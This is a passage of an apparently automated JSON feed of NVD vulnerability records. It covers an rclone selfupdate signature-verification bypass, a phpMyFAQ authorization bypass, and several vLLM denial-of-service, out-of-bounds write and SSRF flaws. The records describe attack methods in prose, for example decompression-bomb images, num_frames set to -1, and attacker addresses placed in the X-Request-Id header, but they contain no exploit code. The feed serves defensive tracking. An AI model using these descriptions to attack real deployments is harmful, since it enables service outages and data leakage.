CVE-2026-116191","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116191","type":"primary","publishedAt":"2026-10-25T14:16:59.400Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116189","cveId":"CVE-2026-116189","aliases":[],"kind":"vulnerability","title":"rclone from 1.55.0 before 1.75.2 contains a signature verification bypass in stable selfupdate that trusts checksums from unsigned bytes preceding the PGP-clearsigned SHA256SUMS...","summary":"rclone from 1.55.0 before 1.75.2 contains a signature verification bypass in stable selfupdate that trusts checksums from unsigned bytes preceding the PGP-clearsigned SHA256SUMS block. Attackers controlling the release distribution path can prepend an unsigned checksum line matching a malicious archive, causing selfupdate to install an attacker-controlled rclone executable.","detail":"rclone from 1.55.0 before 1.75.2 contains a signature verification bypass in stable selfupdate that trusts checksums from unsigned bytes preceding the PGP-clearsigned SHA256SUMS block. Attackers controlling the release distribution path can prepend an unsigned checksum line matching a malicious archive, causing selfupdate to install an attacker-controlled rclone executable.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:59.120Z","updatedAt":"2026-10-26T14:08:16.917Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116189","asOf":"2026-10-26T14:08:16.917Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116189","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116189","type":"primary","publishedAt":"2026-10-25T14:16:59.120Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116183","cveId":"CVE-2026-116183","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.10 contains an object-level authorization bypass vulnerability that allows unauthenticated attackers to modify or delete any visitor question by supplying an...","summary":"phpMyFAQ before 4.1.10 contains an object-level authorization bypass vulnerability that allows unauthenticated attackers to modify or delete any visitor question by supplying an arbitrary openQuestionID to POST /api/faq/create. Attackers solving the CAPTCHA can rewrite question categories, forge answered entries in faqquestion_history, or permanently delete questions when records.enableDeleteQuestion is enabled.","detail":"phpMyFAQ before 4.1.10 contains an object-level authorization bypass vulnerability that allows unauthenticated attackers to modify or delete any visitor question by supplying an arbitrary openQuestionID to POST /api/faq/create. Attackers solving the CAPTCHA can rewrite question categories, forge answered entries in faqquestion_history, or permanently delete questions when records.enableDeleteQuestion is enabled.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:58.213Z","updatedAt":"2026-10-26T17:17:23.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116183","asOf":"2026-10-26T17:17:23.180Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116183","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116183","type":"primary","publishedAt":"2026-10-25T14:16:58.213Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116181","cveId":"CVE-2026-116181","aliases":[],"kind":"vulnerability","title":"vLLM from 0.20.1 before 0.29.0 contains an improper input validation vulnerability that allows remote attackers to crash the engine by supplying out-of-vocabulary stop_token_ids.","summary":"vLLM from 0.20.1 before 0.29.0 contains an improper input validation vulnerability that allows remote attackers to crash the engine by supplying out-of-vocabulary stop_token_ids. Attackers can send OpenAI chat, completion, generate, or batch requests with invalid IDs to terminate the engine or write outside the V2 runner's logits buffer.","detail":"vLLM from 0.20.1 before 0.29.0 contains an improper input validation vulnerability that allows remote attackers to crash the engine by supplying out-of-vocabulary stop_token_ids. Attackers can send OpenAI chat, completion, generate, or batch requests with invalid IDs to terminate the engine or write outside the V2 runner's logits buffer.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:57.907Z","updatedAt":"2026-10-26T14:03:56.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116181","asOf":"2026-10-26T14:03:56.640Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116181","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116181","type":"primary","publishedAt":"2026-10-25T14:16:57.907Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116180","cveId":"CVE-2026-116180","aliases":[],"kind":"vulnerability","title":"vLLM from 0.8.5 before 0.31.0 has a denial of service flaw.","summary":"vLLM from 0.8.5 before 0.31.0 has a denial of service flaw. LogprobsTensors.empty_cpu() in vllm/v1/outputs.py allocates an uninitialized int32 tensor, and the V1 model runner leaves prompt positions reported as computed by a KV connector unwritten. A client sharing the engine can send prompt_logprobs (or echo with logprobs) against a connector-cached prefix, making tokenizer decode raise OverflowError, which crashes EngineCore and drops all co-tenant requests.","detail":"vLLM from 0.8.5 before 0.31.0 has a denial of service flaw. LogprobsTensors.empty_cpu() in vllm/v1/outputs.py allocates an uninitialized int32 tensor, and the V1 model runner leaves prompt positions reported as computed by a KV connector unwritten. A client sharing the engine can send prompt_logprobs (or echo with logprobs) against a connector-cached prefix, making tokenizer decode raise OverflowError, which crashes EngineCore and drops all co-tenant requests.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:57.760Z","updatedAt":"2026-10-26T14:03:56.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116180","asOf":"2026-10-26T14:03:56.640Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116180","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116180","type":"primary","publishedAt":"2026-10-25T14:16:57.760Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116179","cveId":"CVE-2026-116179","aliases":[],"kind":"vulnerability","title":"vLLM from 0.18.0 before 0.31.0 contains a resource exhaustion vulnerability that allows API clients to bypass the video/jpeg frame-count cap by overriding num_frames through...","summary":"vLLM from 0.18.0 before 0.31.0 contains a resource exhaustion vulnerability that allows API clients to bypass the video/jpeg frame-count cap by overriding num_frames through media_io_kwargs. Attackers can set num_frames to -1 with a large inline video so VideoMediaIO.load_base64 decodes every frame, exhausting memory and crashing the API frontend.","detail":"vLLM from 0.18.0 before 0.31.0 contains a resource exhaustion vulnerability that allows API clients to bypass the video/jpeg frame-count cap by overriding num_frames through media_io_kwargs. Attackers can set num_frames to -1 with a large inline video so VideoMediaIO.load_base64 decodes every frame, exhausting memory and crashing the API frontend.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:57.620Z","updatedAt":"2026-10-26T17:17:22.903Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116179","asOf":"2026-10-26T17:17:22.903Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116179","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116179","type":"primary","publishedAt":"2026-10-25T14:16:57.620Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116178","cveId":"CVE-2026-116178","aliases":[],"kind":"vulnerability","title":"vLLM from 0.20.0 before 0.30.0 contains a denial of service vulnerability that allows remote attackers to crash the engine by sending inconsistent multimodal metadata to the...","summary":"vLLM from 0.20.0 before 0.30.0 contains a denial of service vulnerability that allows remote attackers to crash the engine by sending inconsistent multimodal metadata to the disaggregated /inference/v1/generate endpoint. Attackers can replay a valid multimodal item with repeated or overlapping mm_placeholders ranges or mismatched kwargs_data and mm_hashes lists, producing a negative text span in Qwen2.5-VL position construction that terminates the engine.","detail":"vLLM from 0.20.0 before 0.30.0 contains a denial of service vulnerability that allows remote attackers to crash the engine by sending inconsistent multimodal metadata to the disaggregated /inference/v1/generate endpoint. Attackers can replay a valid multimodal item with repeated or overlapping mm_placeholders ranges or mismatched kwargs_data and mm_hashes lists, producing a negative text span in Qwen2.5-VL position construction that terminates the engine.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:57.483Z","updatedAt":"2026-10-26T14:03:56.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116178","asOf":"2026-10-26T14:03:56.640Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116178","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116178","type":"primary","publishedAt":"2026-10-25T14:16:57.483Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116177","cveId":"CVE-2026-116177","aliases":[],"kind":"vulnerability","title":"vLLM from 0.10.2 before 0.25.0 contains an uncontrolled resource consumption vulnerability that allows unauthenticated attackers to exhaust memory because the Nemotron-VL...","summary":"vLLM from 0.10.2 before 0.25.0 contains an uncontrolled resource consumption vulnerability that allows unauthenticated attackers to exhaust memory because the Nemotron-VL processors globally set Image.MAX_IMAGE_PIXELS to None. Attackers can submit a pathological decompression-bomb image to /v1/chat/completions to OOM-kill the worker and deny service to co-tenants.","detail":"vLLM from 0.10.2 before 0.25.0 contains an uncontrolled resource consumption vulnerability that allows unauthenticated attackers to exhaust memory because the Nemotron-VL processors globally set Image.MAX_IMAGE_PIXELS to None. Attackers can submit a pathological decompression-bomb image to /v1/chat/completions to OOM-kill the worker and deny service to co-tenants.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:57.317Z","updatedAt":"2026-10-26T14:03:56.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116177","asOf":"2026-10-26T14:03:56.640Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116177","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116177","type":"primary","publishedAt":"2026-10-25T14:16:57.317Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116176","cveId":"CVE-2026-116176","aliases":[],"kind":"vulnerability","title":"vLLM from 0.9.2 before 0.24.0 contains a server-side request forgery vulnerability that allows API callers to force outbound connections by embedding a decode address in the...","summary":"vLLM from 0.9.2 before 0.24.0 contains a server-side request forgery vulnerability that allows API callers to force outbound connections by embedding a decode address in the X-Request-Id header. Attackers can make a P2pNcclConnector prefill worker ZMQ-connect to an attacker host, leaking the NCCL unique_id and KV-cache tensors or blocking the worker.","detail":"vLLM from 0.9.2 before 0.24.0 contains a server-side request forgery vulnerability that allows API callers to force outbound connections by embedding a decode address in the X-Request-Id header. Attackers can make a P2pNcclConnector prefill worker ZMQ-connect to an attacker host, leaking the NCCL unique_id and KV-cache tensors or blocking the worker.\n\nNVD status: 